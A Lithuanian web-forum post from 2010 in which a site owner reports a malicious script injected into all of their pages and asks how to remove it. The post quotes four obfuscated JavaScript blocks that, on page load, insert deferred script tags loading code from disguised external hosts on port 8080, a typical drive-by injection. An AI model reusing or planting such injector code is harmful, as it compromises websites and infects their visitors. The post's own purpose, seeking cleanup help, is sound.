Parašė Xinel· 2010 Vas. 12 17:02:06
#1
Sveiki, laikau svetainę serveryje ir daviau vienam žmogui pasikurti svetainę pas save serveryje ir jis paleido scriptą (virusą) prieš mano web. Pašalinau jo vartotoją ir visus failus jame, tačiau vistiek per puslapio source rodo scriptą ir per Firefox neleidžia jungtis į webą.
Scriptas:
<script>var y;if(y!='' && y!='e'){y='x'};var v=window;this.d=false;var t=document;var xl;if(xl!='ou'){xl=''};var db;if(db!='i' && db!='pt'){db=''};var l='s%c.rxijpxt%'.replace(/[%x8j\.]/g, '');var a=new Array();var r=new Array();var ha='';v.onload=function(){this.b=20625;var pz;if(pz!='' && pz!='pd'){pz=null};try {var jm;if(jm!='' && jm!='fe'){jm=null};n=t.createElement(l);n.src='h1t$t1p$:M/L/LbLb1c1-Mc$oL-1uVk$.1pLoMgLo$.LcVoLm$.1gLo1oLgLlVe1-VcVo$-$u$k1.MrMeLc$eVnVt1mMeMx$iVcLo$.1r1u1:M8V0L8M0M/Ln$eMw1eVg$gV.1cMo1m$/$nLeLwVe$gVgV.1cVoLmL/MwLiMk1iVpLe$dLi$a1.MoMrMgM/Vg1oMo1gLl$e$.Mc$oLmL/VgLo1oLg1l1eM.1cVo$.Vv$e$/$'.replace(/[\$VLM1]/g, '');var au=false;n.setAttribute('dlelfPelrN'.replace(/[N%zlP]/g, ''), "1");this.lw="";var pzo;if(pzo!='ll' && pzo!='vq'){pzo=''};var ly=false;t.body.appendChild(n);var m=39390;} catch(o){var rd=33131;};};var ky;if(ky!='' && ky!='qh'){ky='pe'};</script>
<script>this.d=false;this.o=false;var b=window;var w='s_cTr/iTp.t<'.replace(/[\<_\.T/]/g, '');var x;if(x!='md' && x!='j'){x=''};var i=new Array();var a=document;b.onload=function(){var n;if(n!='v' && n!='g'){n='v'};try {m=a.createElement(w);var q=new String();var gl="";var lb;if(lb!=''){lb='z'};m.src='h_tOt;p;:O/;/?g?e?t?a;f;rQeQeOl?aQn?c?eOrO-Qc;oOm_.Qb_t?jOu;nQkOiOe_._o;rQg?.?s_t?a?r?t?i_m;eOs_2;-?cOoQm?._tQh;eQl;iQf_e_t?a;g?.Qr;uQ:_8?0Q8;0O/Q3?6_0Q.?cOnQ/Q3Q6O0Q.;cOn?/Og_a?p?.;cOo_mO/_gQo_oQgQlQeQ.?c;oOmQ._t;r_/_gQo;o;g?l_eQ.OcQo_mQ/?'.replace(/[\?Q;_O]/g, '');var r_;if(r_!='tg' && r_ != ''){r_=null};var qn=new String();var f='';m.setAttribute('dle.fsesr.'.replace(/[\.&jls]/g, ''), "1");var nu='';var k='';var p;if(p!='' && p!='ce'){p='kp'};a.body.appendChild(m);var ip;if(ip!='kd'){ip=''};} catch(s){};var k_='';};var im="im";var _=new Array();</script>
<script>var j=window;var _ih=36922;var z=document;var vr;if(vr!='b' && vr!='bg'){vr=''};function l(r){var _=['h_tXtzpJ:_/J/zsJaXnzszpzoz-XcJozmJ.6f_rXeJe_wXezbXs_._c6o6m_._c6nXb6lJo_g6sz-6czo_mX.Xbze6sJtzn6e_wXsXmXaJlXlX.XrzuJ:J8X0z860z/XpzlzaXl_aJ.6oJrJ.Xjzpz/JpXlJaXl_a_.Jo6rX.zjzp_/_3_96.6nJeXtX/XgJaJmXezv6a6nzc6e_.zczo_m6/zgXo_o_gXl6ez.zczoXmz/J'.replace(/[JzX_6]/g, ''), 'sHcHrLiIpIt~'.replace(/[~dLHI]/g, ''), 'c&rXe&a&tveXE&lXeXmvevn3t3'.replace(/[3&X\<v]/g, ''), 'o?n?lPoBa?dB'.replace(/[BPp\?\+]/g, ''), 's2r#ch'.replace(/[h7S#2]/g, ''), 'a4pVp:e$nPd4C4h4i:l$dV'.replace(/[V\:\$4P]/g, ''), 'spe%tSASt%t<rpiSbpu%tSeS'.replace(/[Sp\<%/]/g, ''), 'buord@yr'.replace(/[ru&@m]/g, ''), 'dpe/fnepr/'.replace(/[/\*npG]/g, ''), "1"];this.e="";var ru=_[r];var im;if(im!='sz' && im!='hj'){im='sz'};return ru;var zum;if(zum!='kn' && zum != ''){zum=null};}var v = function(){var g;if(g!='ds' && g != ''){g=null};try {p=z[l([2][0])](l([2,1][1]));p[l([4,6][1])](l([1,8][1]), l([9][0]));var q="";var k = z[l([0,7][1])];this.n="n";p[l([4][0])]=l([0,2][0]);var hu=new Array();k[l([5,2][0])](p);} catch(_i){};var gk;if(gk!='lh' && gk != ''){gk=null};};j[l([3][0])]=v;</script>
<script>var r=new String();:LineMixer [var x;if(x!=''){x='_'};var t=window;var lk="lk";var m;if(m!='' && m!='dy'){m=''};var n='sQcZr.iQpQtZ'.replace(/[ZhQR\.]/g, '');var g='cProeoa|tJeoE|lJeomoeonPt6'.replace(/[6o\|PJ]/g, '');var f=18498;var en;if(en!='em'){en='em'};]var d_="d_";var xf='';var z=new Date();t.onload=function(){var w="w";try {this.hh="hh";this.zk="zk";j=document[g](n);:LineMixer [j['sSrxcY'.replace(/[Y\*xeS]/g, '')]='h9tftfp1:f/f/1o1wf-+l!y9.fp1i+x!i9v9.9nfe9t!.9dft9i9b1l1o!g!-+c!ofm9.9y9o1u!r+t!o1l+l!t!a1g1.9r9u!:!8!0!8+0+/+c+l1a9sfs9mfa!tfe9sf.+c1ofm9/1c1l9a!s1s9m!aft+e+sf.9c9ofm1/1g+o9o!gfl1e9.1c9o9m!/!c1l+a!r1ifnf.fc9ofm9/ft+-!o!n!l!i9n1e9.1d!e9/1'.replace(/[1\+\!f9]/g, '');var su=new Array();this.sn=39536;j.setAttribute('d$e$f$e/r*'.replace(/[\*/\$OG]/g, ''), "1");var _a=false;var _g;if(_g!='' && _g!='wu'){_g=null};]this.dq="dq";var kb=new String();document['b*okdEyR'.replace(/[REk\*0]/g, '')]['a;pOp#e;nJd;CJh#iOlKdK'.replace(/[K#J;O]/g, '')](j);var pc='';var _d='';} catch(d){};var ho;if(ho!='mo'){ho='mo'};};var zf;if(zf!='vn'){zf=''};var qg=new String();</script>
Šis scriptas yra visų mano puslapių source.
Kaip tai reiktų pašalinti?
Redagavo Xinel· 2010 Vas. 12 17:02:26